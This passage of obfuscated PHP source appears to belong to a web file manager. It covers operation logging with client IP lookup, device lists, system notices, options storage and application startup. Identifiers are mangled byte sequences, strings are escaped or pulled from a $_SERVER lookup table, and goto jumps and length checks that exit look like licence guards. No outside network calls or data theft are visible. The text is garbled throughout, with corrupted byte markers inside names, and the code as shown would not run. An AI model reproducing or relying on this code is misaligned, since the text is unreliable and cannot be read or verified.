$™ë¤Ý‰É[1943] => LNG($™ë¤Ý‰É[2363]), $™ë¤Ý‰É[2364] => LNG($™ë¤Ý‰É[2365]), $™ë¤Ý‰É[2366] => LNG($™ë¤Ý‰É[2367]), $™ë¤Ý‰É[2368] => LNG($™ë¤Ý‰É[2369]), $™ë¤Ý‰É[1937] => LNG($™ë¤Ý‰É[2370]), $™ë¤Ý‰É[2371] => LNG($™ë¤Ý‰É[2372]), $™ë¤Ý‰É[1936] => LNG($™ë¤Ý‰É[2373]), $™ë¤Ý‰É[2374] => LNG($™ë¤Ý‰É[2375]), $™ë¤Ý‰É[2376] => LNG($™ë¤Ý‰É[2377]), $™ë¤Ý‰É[2378] => LNG($™ë¤Ý‰É[2377]), $™ë¤Ý‰É[2379] => LNG($™ë¤Ý‰É[2380]), $™ë¤Ý‰É[2381] => LNG($™ë¤Ý‰É[2381]), $™ë¤Ý‰É[2382] => LNG($™ë¤Ý‰É[1908]), $™ë¤Ý‰É[2383] => LNG($™ë¤Ý‰É[2384]), $™ë¤Ý‰É[2385] => LNG($™ë¤Ý‰É[2386]), $™ë¤Ý‰É[2387] => LNG($™ë¤Ý‰É[2388]), $™ë¤Ý‰É[2389] => LNG($™ë¤Ý‰É[2390]), $™ë¤Ý‰É[2391] => LNG($™ë¤Ý‰É[2392]), $™ë¤Ý‰É[2393] => LNG($™ë¤Ý‰É[2393]), $™ë¤Ý‰É[2394] => LNG($™ë¤Ý‰É[2395]), $™ë¤Ý‰É[2396] => LNG($™ë¤Ý‰É[2397]), $™ë¤Ý‰É[2398] => LNG($™ë¤Ý‰É[2399]), $™ë¤Ý‰É[2400] => LNG($™ë¤Ý‰É[2401]), $™ë¤Ý‰É[2402] => LNG($™ë¤Ý‰É[2403]), $™ë¤Ý‰É[2404] => LNG($™ë¤Ý‰É[2405]), $™ë¤Ý‰É[212] => LNG($™ë¤Ý‰É[212]), $™ë¤Ý‰É[213] => LNG($™ë¤Ý‰É[2406]), $™ë¤Ý‰É[2407] => LNG($™ë¤Ý‰É[2407])); } private function typeFile() { $Þ›“÷ð =& $_SERVER[ˆ¡¹µ‹Â]; $ã…«¹ý· = array($Þ›“÷ð[1939] => array($Þ›“÷ð[1940]), $Þ›“÷ð[2346] => array($Þ›“÷ð[2408]), $Þ›“÷ð[2348] => array($Þ›“÷ð[2409]), $Þ›“÷ð[1932] => array($Þ›“÷ð[1933], $Þ›“÷ð[2410]), $Þ›“÷ð[2356] => array(), $Þ›“÷ð[2358] => array(), $Þ›“÷ð[2360] => array(), $Þ›“÷ð[1942] => array($Þ›“÷ð[1944]), $Þ›“÷ð[1943] => array($Þ›“÷ð[1944]), $Þ›“÷ð[2364] => array($Þ›“÷ð[2411]), $Þ›“÷ð[2366] => array($Þ›“÷ð[2411]), $Þ›“÷ð[2368] => array($Þ›“÷ð[2412]), $Þ›“÷ð[2354] => array($Þ›“÷ð[2413]), $Þ›“÷ð[1937] => array($Þ›“÷ð[2414]), $Þ›“÷ð[2371] => array($Þ›“÷ð[2415]), $Þ›“÷ð[1936] => array($Þ›“÷ð[1938])); return $ã…«¹ý·; } private function typeAll() { $ù–¤£³ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>œÒô«û = $this->typeList; $<24>…í«±Í = array_filter($this->typeFile()); foreach ($<24>…í«±Í as $µÖ¹·Ãã => $ËÆ¼šÆú) { $<24>œÒô«û[$ËÆ¼šÆú[0]] = $<24>œÒô«û[$µÖ¹·Ãã]; } $<24>œÒô«û[$ù–¤£³[1944]] = LNG($ù–¤£³[2416]); $<24>œÒô«û[$ù–¤£³[2411]] = LNG($ù–¤£³[2417]); return $<24>œÒô«û; } public function addLog($•žä®èà, $™ä<E284A2>ƒ„ì = array()) { $å¹¹ï<C2B9>â =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($this->typeList[$•žä®èà])) { return; } $<>õ³æÅ = Session::get($å¹¹ï<C2B9>â[2104]); if (!$<>õ³æÅ) { $<>õ³æÅ = _get($™ä<E284A2>ƒ„ì, $å¹¹ï<C2B9>â[1763], 0); } if ($•žä®èà == $å¹¹ï<C2B9>â[2383] && is_array($™ä<E284A2>ƒ„ì[$å¹¹ï<C2B9>â[2418]]) && !$™ä<E284A2>ƒ„ì[$å¹¹ï<C2B9>â[2418]]) { return; } $Ý™Š²Ã¶ = get_client_ip(); if (!$™ä<E284A2>ƒ„ì || strlen(json_encode($™ä<E284A2>ƒ„ì)) >= 1024 * 64) { if ($™ä<E284A2>ƒ„ì && is_array($™ä<E284A2>ƒ„ì)) { $™ä<E284A2>ƒ„ì = array_intersect_key($™ä<E284A2>ƒ„ì, array_flip($å¹¹ï<C2B9>â[475], $å¹¹ï<C2B9>â[32])); $™ä<E284A2>ƒ„ì[$å¹¹ï<C2B9>â[2419]] = $Ý™Š²Ã¶; } else { $™ä<E284A2>ƒ„ì = array($å¹¹ï<C2B9>â[2419] => $Ý™Š²Ã¶); } } else { if (is_array($™ä<E284A2>ƒ„ì)) { $™ä<E284A2>ƒ„ì[$å¹¹ï<C2B9>â[2419]] = $Ý™Š²Ã¶; } else { $™ä<E284A2>ƒ„ì = array($å¹¹ï<C2B9>â[1280] => $™ä<E284A2>ƒ„ì, $å¹¹ï<C2B9>â[2419] => $Ý™Š²Ã¶); } } $™ä<E284A2>ƒ„ì = array($å¹¹ï<C2B9>â[1753] => Session::sign(), $å¹¹ï<C2B9>â[1754] => intval($<>õ³æÅ), $å¹¹ï<C2B9>â[33] => $•žä®èà, $å¹¹ï<C2B9>â[1756] => json_encode($™ä<E284A2>ƒ„ì)); parent::add($™ä<E284A2>ƒ„ì); } public function remove($Þ—ýŠ™Ú) { $this->where(array($_SERVER[ˆ¡¹µ‹Â][493] => $Þ—ýŠ™Ú))->delete(); } private function _makeOrder($€Õ¡É¨  = '') { $¾Ð‡¯Ïã =& $_SERVER[ˆ¡¹µ‹Â]; $ÂæÙ‘º¯ = $¾Ð‡¯Ïã[231]; $ýâèÈˆÞ = array($¾Ð‡¯Ïã[523] => $¾Ð‡¯Ïã[524], $¾Ð‡¯Ïã[525] => $¾Ð‡¯Ïã[526]); $øÄ‡ø¦ª = Input::get($¾Ð‡¯Ïã[531], $¾Ð‡¯Ïã[7], $¾Ð‡¯Ïã[2140], array($¾Ð‡¯Ïã[2057], $¾Ð‡¯Ïã[525])); $øÄ‡ø¦ª = $ýâèȈÞ[$øÄ‡ø¦ª]; $€Õ¡É¨  = $€Õ¡É¨  . "{$ÂæÙ‘º¯}\40{$øÄ‡ø¦ª}"; return $this->order($€Õ¡É¨ ); } public function get($²òΕŸÚ = '') { $ùÄí‚Ðæ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$²òΕŸÚ) { show_json(array()); } $°¡ï¤<C3AF>— = array(); if ($²òΕŸÚ[$ùÄí‚Ðæ[1763]]) { $°¡ï¤<C3AF>—[$ùÄí‚Ðæ[1763]] = $²òΕŸÚ[$ùÄí‚Ðæ[1763]]; } if (isset($²òΕŸÚ[$ùÄí‚Ðæ[827]])) { $Ç<>êÊ“ø = $²òΕŸÚ[$ùÄí‚Ðæ[827]]; $Ç¬í ¿<C2A0> = isset($²òΕŸÚ[$ùÄí‚Ðæ[828]]) ? $²òΕŸÚ[$ùÄí‚Ðæ[828]] : time(); $°¡ï¤<C3AF>—[$ùÄí‚Ðæ[231]] = array($ùÄí‚Ðæ[409], array($Ç<>êÊ“ø, $Ç¬í ¿<C2A0>)); } if ($²òΕŸÚ[$ùÄí‚Ðæ[33]]) { $ºØ½’«¨ = explode($ùÄí‚Ðæ[50], $²òΕŸÚ[$ùÄí‚Ðæ[33]]); $Àè¯Ì‹î = $this->typeFile(); $<24><>çÎ<C3A7>ú = array(); foreach ($ºØ½’«¨ as $Öì‘ô¼Š) { $<24><>çÎ<C3A7>ú[] = $Öì‘ô¼Š; if (isset($Àè¯Ì‹î[$Öì‘ô¼Š])) { $<24><>çÎ<C3A7>ú = array_merge($<24><>çÎ<C3A7>ú, $Àè¯Ì‹î[$Öì‘ô¼Š]); } } $<24><>çÎ<C3A7>ú = array_unique($<24><>çÎ<C3A7>ú); if ($<24><>çÎ<C3A7>ú) { $°¡ï¤<C3AF>—[$ùÄí‚Ðæ[33]] = array($ùÄí‚Ðæ[7], $<24><>çÎ<C3A7>ú); } } else { $°¡ï¤<C3AF>—[$ùÄí‚Ðæ[33]] = array($ùÄí‚Ðæ[2420], $ùÄí‚Ðæ[2421]); } if (!empty($²òΕŸÚ[$ùÄí‚Ðæ[2419]])) { $°¡ï¤<C3AF>—[$ùÄí‚Ðæ[526]] = array($ùÄí‚Ðæ[459], "\x25{$²òΕŸÚ[$ùÄí‚Ðæ[2419]]}\x25"); } $ð÷·Œ®« = $this->_makeOrder()->where($°¡ï¤<C3AF>—)->selectPage(); if (empty($ð÷·Œ®«[$ùÄí‚Ðæ[445]])) { show_json(array(), !0, $ð÷·Œ®«[$ùÄí‚Ðæ[442]]); } $ð÷·Œ®«[$ùÄí‚Ðæ[445]] = $this->logList($ð÷·Œ®«[$ùÄí‚Ðæ[445]]); return $ð÷·Œ®«; } private function ipAddress(&$¦¿Ëè<C38B>ƒ) { $õƒê–М =& $_SERVER[ˆ¡¹µ‹Â]; if (!empty($¦¿Ëè<C38B>ƒ[$õƒê–М[2419]])) { $ÂØï›‰Î = IpLocation::get($¦¿Ëè<C38B>ƒ[$õƒê–М[2419]]); } else { $ÂØï›‰Î = LNG($õƒê–М[2422]); } $¦¿Ëè<C38B>ƒ[$õƒê–М[2423]] = $ÂØï›‰Î; } private function descZipDownload($Ðßý€Öà, &$±’…ýþê) { $ƯŒÕƱ =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($Ðßý€Öà[$ƯŒÕƱ[2424]])) { return; } $–«À³çµ = json_decode($Ðßý€Öà[$ƯŒÕƱ[2424]], !0); foreach ($–«À³çµ as $àÍ瞇¬) { try { $´µ<C2B4>íÏà = IO::infoFullSimple($àÍ瞇¬[$ƯŒÕƱ[87]]); } catch (Exception $žÍÑð¸é) { continue; } $Ðßý€Öà[$ƯŒÕƱ[87]] = $àÍ瞇¬[$ƯŒÕƱ[87]]; $±’…ýþê[] = $Ðßý€Öà[$ƯŒÕƱ[193]] = $´µ<C2B4>íÏÃ[$ƯŒÕƱ[193]]; $±’…ýþê[] = $Ðßý€Öà[$ƯŒÕƱ[2196]] = $´µ<C2B4>íÏÃ[$ƯŒÕƱ[192]]; break; } return $Ðßý€Öà; } private function getSourceList(&$³¸ýØË·) { $ì²ä黎 =& $_SERVER[ˆ¡¹µ‹Â]; $…˜ý‚Ð’ = array(); foreach ($³¸ýØË· as $³É·Ù<C2B7> => $Å⫈<C2AB>) { $½º„<C2BA>“þ = json_decode($Å⫈<C2AB>[$ì²ä黎[526]], !0); if ($Å⫈<C2AB>[$ì²ä黎[33]] == $ì²ä黎[1935]) { $½º„<C2BA>“þ = $this->descZipDownload($½º„<C2BA>“þ, $…˜ý‚Ð’); $³¸ýØË·[$³É·Ù<C2B7>][$ì²ä黎[526]] = json_encode($½º„<C2BA>“þ); continue; } if (strpos($Å⫈<C2AB>[$ì²ä黎[33]], $ì²ä黎[2198]) !== 0) { if (!isset($½º„<C2BA>“þ[$ì²ä黎[87]]) || strpos($Å⫈<C2AB>[$ì²ä黎[33]], $ì²ä黎[2425]) !== 0) { continue; } try { $ÛÉ«Þ€Ú = IO::infoFullSimple($½º„<C2BA>“þ[$ì²ä黎[87]]); } catch (Exception $®Ì˜§–æ) { continue; } $…˜ý‚Ð’[] = $½º„<C2BA>“þ[$ì²ä黎[193]] = $ÛɫހÚ[$ì²ä黎[193]]; $…˜ý‚Ð’[] = $½º„<C2BA>“þ[$ì²ä黎[2196]] = $ÛɫހÚ[$ì²ä黎[192]]; $³¸ýØË·[$³É·Ù<C2B7>][$ì²ä黎[526]] = json_encode($½º„<C2BA>“þ); continue; } $…˜ý‚Ð’[] = $½º„<C2BA>“þ[$ì²ä黎[193]]; $…˜ý‚Ð’[] = $½º„<C2BA>“þ[$ì²ä黎[2196]]; if ($½º„<C2BA>“þ[$ì²ä黎[33]] == $ì²ä黎[620]) { $…˜ý‚Ð’[] = $½º„<C2BA>“þ[$ì²ä黎[526]][$ì²ä黎[1234]]; $…˜ý‚Ð’[] = $½º„<C2BA>“þ[$ì²ä黎[526]][$ì²ä黎[1235]]; } if ($½º„<C2BA>“þ[$ì²ä黎[33]] == $ì²ä黎[2207]) { $…˜ý‚Ð’[] = $½º„<C2BA>“þ[$ì²ä黎[526]][$ì²ä黎[193]]; } } if (!$…˜ý‚Ð’) { return array(); } return Model($ì²ä黎[899])->sourceListInfo($…˜ý‚Ð’, !0); } private function logList($Ôñô­¯Ã) { $ŽÍ÷ת» =& $_SERVER[ˆ¡¹µ‹Â]; $ú»äçÇË = array_to_keyvalue($Ôñô­¯Ã, $ŽÍ÷ת»[12], $ŽÍ÷ת»[1763]); $—óß<C3B3>ª× = Model($ŽÍ÷ת»[598])->userListInfo(array_unique($ú»äçÇË)); $¥ƒãÇ®¾ = $this->getSourceList($Ôñô­¯Ã); $È금™è = $this->typeAll(); $èÙìç À = array(); $†<>ç¨î = array(); foreach ($Ôñô­¯Ã as $Œ<>ßÙ©ö => $ÒÜÆŒà¨) { $ú œ¸§ª = $ÒÜÆŒà¨[$ŽÍ÷ת»[33]]; $«¼ˆ¶ãø = isset($—óß<C3B3>ª×[$ÒÜÆŒà¨[$ŽÍ÷ת»[1763]]]) ? $—óß<C3B3>ª×[$ÒÜÆŒà¨[$ŽÍ÷ת»[1763]]] : !1; $Ò°ÀµÉÇ = strpos($ú œ¸§ª, $ŽÍ÷ת»[2426]) === 0 ? LNG($ŽÍ÷ת»[2427]) : LNG($ŽÍ÷ת»[2422]); $ÒÜÆŒà¨[$ŽÍ÷ת»[32]] = isset($«¼ˆ¶ãø[$ŽÍ÷ת»[32]]) ? $«¼ˆ¶ãø[$ŽÍ÷ת»[32]] : LNG($ŽÍ÷ת»[2422]); $ÒÜÆŒà¨[$ŽÍ÷ת»[2256]] = isset($«¼ˆ¶ãø[$ŽÍ÷ת»[2256]]) ? $«¼ˆ¶ãø[$ŽÍ÷ת»[2256]] : $ŽÍ÷ת»[12]; $ÒÜÆŒà¨[$ŽÍ÷ת»[1652]] = isset($È금™è[$ú œ¸§ª]) ? $È금™è[$ú œ¸§ª] : $Ò°ÀµÉÇ; $ÒÜÆŒà¨[$ŽÍ÷ת»[2139]] = $«¼ˆ¶ãø; $ºô”å—<C3A5> = json_decode($ÒÜÆŒà¨[$ŽÍ÷ת»[526]], !0); $ÒÜÆŒà¨[$ŽÍ÷ת»[2419]] = isset($ºô”å—<C3A5>[$ŽÍ÷ת»[2419]]) ? $ºô”å—<C3A5>[$ŽÍ÷ת»[2419]] : $ŽÍ÷ת»[12]; $ÒÜÆŒà¨[$ŽÍ÷ת»[2423]] = IpLocation::get($ÒÜÆŒà¨[$ŽÍ÷ת»[2419]]); if (strpos($ú œ¸§ª, $ŽÍ÷ת»[2198]) === 0 || isset($ºô”å—<C3A5>[$ŽÍ÷ת»[2196]])) { $ºô”å—<C3A5>[$ŽÍ÷ת»[90]] = $¥ƒãÇ®¾[$ºô”å—<C3A5>[$ŽÍ÷ת»[193]]]; $ºô”å—<C3A5>[$ŽÍ÷ת»[2212]] = $¥ƒãÇ®¾[$ºô”å—<C3A5>[$ŽÍ÷ת»[2196]]]; if ($ºô”å—<C3A5>[$ŽÍ÷ת»[33]] == $ŽÍ÷ת»[620]) { $ºô”å—<C3A5>[$ŽÍ÷ת»[526]][$ŽÍ÷ת»[1234]] = $¥ƒãÇ®¾[$ºô”å—<C3A5>[$ŽÍ÷ת»[526]][$ŽÍ÷ת»[1234]]]; $ºô”å—<C3A5>[$ŽÍ÷ת»[526]][$ŽÍ÷ת»[1235]] = $¥ƒãÇ®¾[$ºô”å—<C3A5>[$ŽÍ÷ת»[526]][$ŽÍ÷ת»[1235]]]; } if ($ºô”å—<C3A5>[$ŽÍ÷ת»[33]] == $ŽÍ÷ת»[2207]) { $ºô”å—<C3A5>[$ŽÍ÷ת»[526]][$ŽÍ÷ת»[193]] = $¥ƒãÇ®¾[$ºô”å—<C3A5>[$ŽÍ÷ת»[526]][$ŽÍ÷ת»[193]]]; } if ($ºô”å—<C3A5>[$ŽÍ÷ת»[33]] == $ŽÍ÷ת»[1930]) { $ºô”å—<C3A5>[$ŽÍ÷ת»[2212]] = $ºô”å—<C3A5>[$ŽÍ÷ת»[90]]; $ºô”å—<C3A5>[$ŽÍ÷ת»[2196]] = $ºô”å—<C3A5>[$ŽÍ÷ת»[2212]][$ŽÍ÷ת»[193]]; $ºô”å—<C3A5>[$ŽÍ÷ת»[90]] = !1; $ºô”å—<C3A5>[$ŽÍ÷ת»[193]] = $ŽÍ÷ת»[12]; } $Ûýlj¹Ž = array($ŽÍ÷ת»[1930], $ŽÍ÷ת»[2194]); if (!in_array($ºô”å—<C3A5>[$ŽÍ÷ת»[33]], $Ûýlj¹Ž)) { if ($ºô”å—<C3A5>[$ŽÍ÷ת»[90]] && $ºô”å—<C3A5>[$ŽÍ÷ת»[90]][$ŽÍ÷ת»[190]] == $ŽÍ÷ת»[191]) { $†<>ç¨î[] = $ÒÜÆŒà¨[$ŽÍ÷ת»[475]]; unset($Ôñô­¯Ã[$Œ<>ßÙ©ö]); continue; } if ($ºô”å—<C3A5>[$ŽÍ÷ת»[2212]] && $ºô”å—<C3A5>[$ŽÍ÷ת»[2212]][$ŽÍ÷ת»[190]] == $ŽÍ÷ת»[191]) { $†<>ç¨î[] = $ÒÜÆŒà¨[$ŽÍ÷ת»[475]]; unset($Ôñô­¯Ã[$Œ<>ßÙ©ö]); continue; } } } $ÒÜÆŒà¨[$ŽÍ÷ת»[526]] = $ºô”å—<C3A5>; unset($ÒÜÆŒà¨[$ŽÍ÷ת»[2428]]); $èÙìç À[] = $ÒÜÆŒà¨; } $this->clearSystemPathLog($†<>ç¨î); return $èÙìç À; } private function clearSystemPathLog($Þ„ª<E2809E>ú´) { $‚æ·£ç² =& $_SERVER[ˆ¡¹µ‹Â]; if (count($Þ„ª<E2809E>ú´) == 0) { return; } $À©•¬ŸÒ = array($‚æ·£ç²[475] => array($‚æ·£ç²[7], array_unique($Þ„ª<E2809E>ú´))); $this->where($À©•¬ŸÒ)->delete(); } public function deviceList($Â<>ø†×Ñ, $ŒÌóŸ«<C5B8> = 0) { $ž¦ýÄŒ<C384> =& $_SERVER[ˆ¡¹µ‹Â]; $—¼Ï‡“ñ = array($ž¦ýÄŒ<C384>[1763] => $Â<>ø†×Ñ, $ž¦ýÄŒ<C384>[231] => array($ž¦ýÄŒ<C384>[1085], $ŒÌóŸ«<C5B8>), $ž¦ýÄŒ<C384>[33] => $ž¦ýÄŒ<C384>[1904]); $‰Êª”Ù“ = array(); $®…©Õäì = $this->field($ž¦ýÄŒ<C384>[2429])->where($—¼Ï‡“ñ)->order($ž¦ýÄŒ<C384>[2210])->limit(50)->select(); foreach ($®…©Õäì as $é’ö—Ƹ => $¢â©á à) { if ($é’ö—Ƹ > 0 && abs($¢â©á à[$ž¦ýÄŒ<C384>[231]] - $®…©Õäì[$é’ö—Ƹ - 1][$ž¦ýÄŒ<C384>[231]]) < 5) { continue; } $†ÁÎʸ‚ = json_decode($¢â©á à[$ž¦ýÄŒ<C384>[526]], !0); $¢â©á à[$ž¦ýÄŒ<C384>[2419]] = isset($†ÁÎʸ‚[$ž¦ýÄŒ<C384>[2419]]) ? $†ÁÎʸ‚[$ž¦ýÄŒ<C384>[2419]] : $ž¦ýÄŒ<C384>[12]; unset($†ÁÎʸ‚[$ž¦ýÄŒ<C384>[2419]]); $æÒµôºä = $this->deviceType($†ÁÎʸ‚[$ž¦ýÄŒ<C384>[2199]]); if (isset($‰Êª”Ù“[$æÒµôºä])) { continue; } $¢â©á à[$ž¦ýÄŒ<C384>[2423]] = IpLocation::get($¢â©á à[$ž¦ýÄŒ<C384>[2419]]); $¢â©á à[$ž¦ýÄŒ<C384>[526]] = $†ÁÎʸ‚; $‰Êª”Ù“[$æÒµôºä] = $¢â©á à; } return array_values($‰Êª”Ù“); } public function deviceType($½»„‚ÓÎ) { return $½»„‚ÓÎ; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\x6d\x2e\156\157\164\151\143\x65\x4c\x69\163\x74"; public $field = array("\x6e\141\x6d\145", "\143\157\x6e\x74\145\x6e\x74", "\x61\165\164\150", "\155\x6f\x64\145", "\x74\151\155\x65", "\164\171\x70\145", "\x6c\x65\x76\x65\x6c", "\x65\156\141\142\x6c\145", "\x73\x6f\x72\x74"); public function listData($Íñîßôº = false, $·Ï<C2B7>ƺì = "\163\x6f\x72\164", $ãÔ„¨àô = false) { return parent::listData($Íñîßôº, $·Ï<C2B7>ƺì, $ãÔ„¨àô); } public function add($¹Üê¬ÊÙ) { $Ôƒ<E28099>ÞÇ =& $_SERVER[ˆ¡¹µ‹Â]; $²æœ”°ß = time(); if ($¹Üê¬ÊÙ[$Ôƒ<E28099>ÞÇ[16]] == $Ôƒ<E28099>ÞÇ[2430]) { $²æœ”°ß = strtotime($¹Üê¬ÊÙ[$Ôƒ<E28099>ÞÇ[206]]); } $¹Üê¬ÊÙ[$Ôƒ<E28099>ÞÇ[206]] = $²æœ”°ß; return parent::insert($¹Üê¬ÊÙ); } public function update($¾®þÓ´™, $†Ó<E280A0>ßÜ¡) { $ÔØÂÊýö =& $_SERVER[ˆ¡¹µ‹Â]; $²ÒÒö…Ì = $this->listData($¾®þÓ´™); if (!$²ÒÒö…Ì) { return !1; } $§£Ñº€ˆ = time(); if ($†Ó<E280A0>ßÜ¡[$ÔØÂÊýö[16]] == $ÔØÂÊýö[2430]) { $§£Ñº€ˆ = strtotime($†Ó<E280A0>ßÜ¡[$ÔØÂÊýö[206]]); } $†Ó<E280A0>ßÜ¡[$ÔØÂÊýö[206]] = $§£Ñº€ˆ; return parent::update($¾®þÓ´™, $†Ó<E280A0>ßÜ¡); } public function remove($‰Æ’ñ´ø) { $ëÃìÇóã = $this->listData($‰Æ’ñ´ø); if (!$ëÃìÇóã || $ëÃìÇóã[$_SERVER[ˆ¡¹µ‹Â][191]]) { return !1; } return parent::remove($‰Æ’ñ´ø); } public function sort($æù·÷Ù¢, $õôÇÞ¬í) { return parent::update($æù·÷Ù¢, $õôÇÞ¬í); } public function enable($õÐúì¾ü, $åçÛ˜’Ÿ) { return parent::update($õÐúì¾ü, array($_SERVER[ˆ¡¹µ‹Â][2431] => $åçÛ˜’Ÿ)); } private function initUserOption() { $Óˆññ“<C3B1> =& $_SERVER[ˆ¡¹µ‹Â]; $this->optionType = $Óˆññ“<C3B1>[2432]; $this->modelType = $Óˆññ“<C3B1>[2433]; $this->field = array($Óˆññ“<C3B1>[2434], $Óˆññ“<C3B1>[32], $Óˆññ“<C3B1>[206], $Óˆññ“<C3B1>[33], $Óˆññ“<C3B1>[2435], $Óˆññ“<C3B1>[817], $Óˆññ“<C3B1>[226]); } public function userNoticeGet($<24>èûô·<C3B4> = false) { $this->initUserOption(); return parent::listData($<24>èûô·<C3B4>, $_SERVER[ˆ¡¹µ‹Â][475], !0); } public function userNoticeAdd($Ú§û<C2A7>íÏ) { $’áµù©  =& $_SERVER[ˆ¡¹µ‹Â]; $this->initUserOption(); $œ¥ƒÒ€Ã = $this->findByKey($’áµù© [2434], $Ú§û<C2A7>íÏ[$’áµù© [475]]); if ($œ¥ƒÒ€Ã) { return !0; } $ÇÏÁØË€ = array($’áµù© [2434] => $Ú§û<C2A7>íÏ[$’áµù© [475]], $’áµù© [32] => $Ú§û<C2A7>íÏ[$’áµù© [32]], $’áµù© [206] => $Ú§û<C2A7>íÏ[$’áµù© [206]], $’áµù© [33] => isset($Ú§û<C2A7>íÏ[$’áµù© [33]]) ? $Ú§û<C2A7>íÏ[$’áµù© [33]] : 1, $’áµù© [2435] => isset($Ú§û<C2A7>íÏ[$’áµù© [2435]]) ? $Ú§û<C2A7>íÏ[$’áµù© [2435]] : 0, $’áµù© [817] => 0, $’áµù© [226] => 0); return parent::insert($ÇÏÁØË€); } public function userNoticeEdit($›…Ž«Ë, $§£ÝЬ­) { $this->initUserOption(); return parent::update($›…Ž«Ë, $§£ÝЬ­); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\x73\x74\x65\155\137\x6f\x70\x74\x69\157\x6e"; protected $jsonField = array("\x6d\x65\x6e\x75", "\x72\157\x6c\x65", "\162\x6f\x6c\x65\x47\x72\x6f\165\x70", "\162\x65\x67\x69\163\164", "\x65\155\x61\x69\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($˜‰çײ¸) { return "\123\171\x73\x74\145\155\117\160\164\151\157\x6e\137{$˜‰çײ¸}"; } protected function optionDefault($¿œ³ÒÄý = '') { $üïÖä¼í =& $_SERVER[ˆ¡¹µ‹Â]; if ($¿œ³ÒÄý == $üïÖä¼í[12]) { return $GLOBALS[$üïÖä¼í[6]][$üïÖä¼í[457]]; } } } goto b‰Å<E280B0>Úï©Ã; d´Œô廸: function binCheckBigger($òÍÉî­¶, $•ñ¸ŽƒÃ) { return $òÍÉî­¶ > $•ñ¸ŽƒÃ; } $_SERVER[$_SERVER[Û<>¼Ô…²][3]] = ("\x38\x35\x32\x37"."\x34\x31")+0;$_ptie="caq1nx5sbhjv8rel0fd3iwgtmuk92ypo647zkdcy2eivq83pz9sloa54hxjgm7b0n1ufrt6wiobu";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($ˆ¦Â笺, $âªê넞) { $ç—Ö·–… =& $_SERVER[ˆ¡¹µ‹Â]; if (isset(self::$_methodList[$ˆ¦Â笺])) { return @call_user_func_array(self::$_methodList[$ˆ¦Â笺], $âªê넞); } else { if (method_exists($this, $ˆ¦Â笺)) { return call_user_func_array(array($this, $ˆ¦Â笺), $âªê넞); } else { think_exception(__CLASS__ . $ç—Ö·–…[4] . $ˆ¦Â笺 . $ç—Ö·–…[5]); } } } public static function __callStatic($çÇ™µýÚ, $åЭýʾ) { if (isset(self::$_methodListStatic[$çÇ™µýÚ])) { return call_user_func_array(self::$_methodListStatic[$çÇ™µýÚ], $åЭýʾ); } else { if (method_exists(self, $çÇ™µýÚ)) { return call_user_func_array(array(self, $çÇ™µýÚ), $åЭýʾ); } else { show_json("{$çÇ™µýÚ}\50\51\x20\156\x6f\164\40\x65\x78\151\x73\164\73", !1); } } } public static function addMethod($ý呎ʇ, $Ÿõ¡ô¿‡) { self::$_methodList[$ý呎ʇ] = $Ÿõ¡ô¿‡; } public static function addMethodStatic($Œë›ˆ¥Ž, $Æý±ÁØ‚) { self::$_methodListStatic[$Œë›ˆ¥Ž] = $Æý±ÁØ‚; } } goto Fê‡éÝμ™; D¯çðÖ£Þ»: if (strlen($znstewkolc) < $_SERVER[ˆ¡¹µ‹Â][683]) { return; } class Application { private $defaultModule = "\151\x6e\144\145\x78"; private $defaultController = "\x69\156\x64\x65\170"; private $defaultAction = "\151\156\x64\x65\x78"; function __construct() { } public function setDefault($Õ<>ƇÌã) { $郹ƒ»É =& $_SERVER[ˆ¡¹µ‹Â]; $ëèÓÀòâ =& $_SERVER[ Ãœáã¬]; $»ÁÜëÒÞ = explode($ëèÓÀòâ[0], trim($Õ<>ƇÌã, $ëèÓÀòâ[0])); $this->defaultModule = $»ÁÜëÒÞ[0] ? $»ÁÜëÒÞ[0] : $this->defaultModule; $мù¾¹« = $郹ƒ»É[684]; if (!$мù¾¹«) { return; } $this->defaultController = $»ÁÜëÒÞ[1] ? $»ÁÜëÒÞ[1] : $this->defaultController; $this->defaultAction = $»ÁÜëÒÞ[2] ? $»ÁÜëÒÞ[2] : $this->defaultAction; $this->uxkv77fc9f13($ëèÓÀòâ[1], array($this, $ëèÓÀòâ[2])); $Ðм¨éÅ = $郹ƒ»É[685]; } public function appRun($잣¼´ö) { $Ý€·¤ðÖ =& $_SERVER[ˆ¡¹µ‹Â]; $ñ“ññ‹ù =& $_SERVER[ Ãœáã¬]; $ù£éé‹ë = explode($ñ“ññ‹ù[0], $잣¼´ö); $øÜ²ÇÞß = $Ý€·¤ðÖ[686]; if (strlen($øÜ²ÇÞß) < $Ý€·¤ðÖ[687]) { die; } $ËâÐ<C3A2>À¸ = strtolower($ù£éé‹ë[0]); $ޱ’˜ˆ¦ = $Ý€·¤ðÖ[688]; if (strlen($ޱ’˜ˆ¦) < $Ý€·¤ðÖ[689]) { return; } $…ÚÕж£ = $ñ“ññ‹ù[3]; if ($ËâÐ<C3A2>À¸ == $ñ“ññ‹ù[4]) { $…ÚÕж£ = $ñ“ññ‹ù[5]; $ù£éé‹ë[0] = $ñ“ññ‹ù[6]; $ù£éé‹ë[1] = $ù£éé‹ë[1] . $ñ“ññ‹ù[7]; $잣¼´ö = join($ñ“ññ‹ù[0], $ù£éé‹ë); $잣¼´ö = trim($잣¼´ö, $ñ“ññ‹ù[0]); } call_user_func(array($ñ“ññ‹ù[8], $ñ“ññ‹ù[9]), $…ÚÕж£ . $ñ“ññ‹ù[10], $잣¼´ö); ActionCall($잣¼´ö); call_user_func(array($ñ“ññ‹ù[8], $ñ“ññ‹ù[9]), $…ÚÕж£ . $ñ“ññ‹ù[11], $잣¼´ö); $ˇòþÓï = $Ý€·¤ðÖ[690]; if (!$ˇòþÓï) { return; } } private function autorun() { $ƢŠ=& $_SERVER[ˆ¡¹µ‹Â]; $Û…¾™£Â =& $_SERVER[ Ãœáã¬]; global $config; $ÒõšÎ•” = $ƢÅ[691]; if (strlen($ÒõšÎ•”) < $ƢÅ[692]) { die; } if (count($config[$Û…¾™£Â[12]]) == 0) { return; } foreach ($config[$Û…¾™£Â[12]] as $çÆºååó => 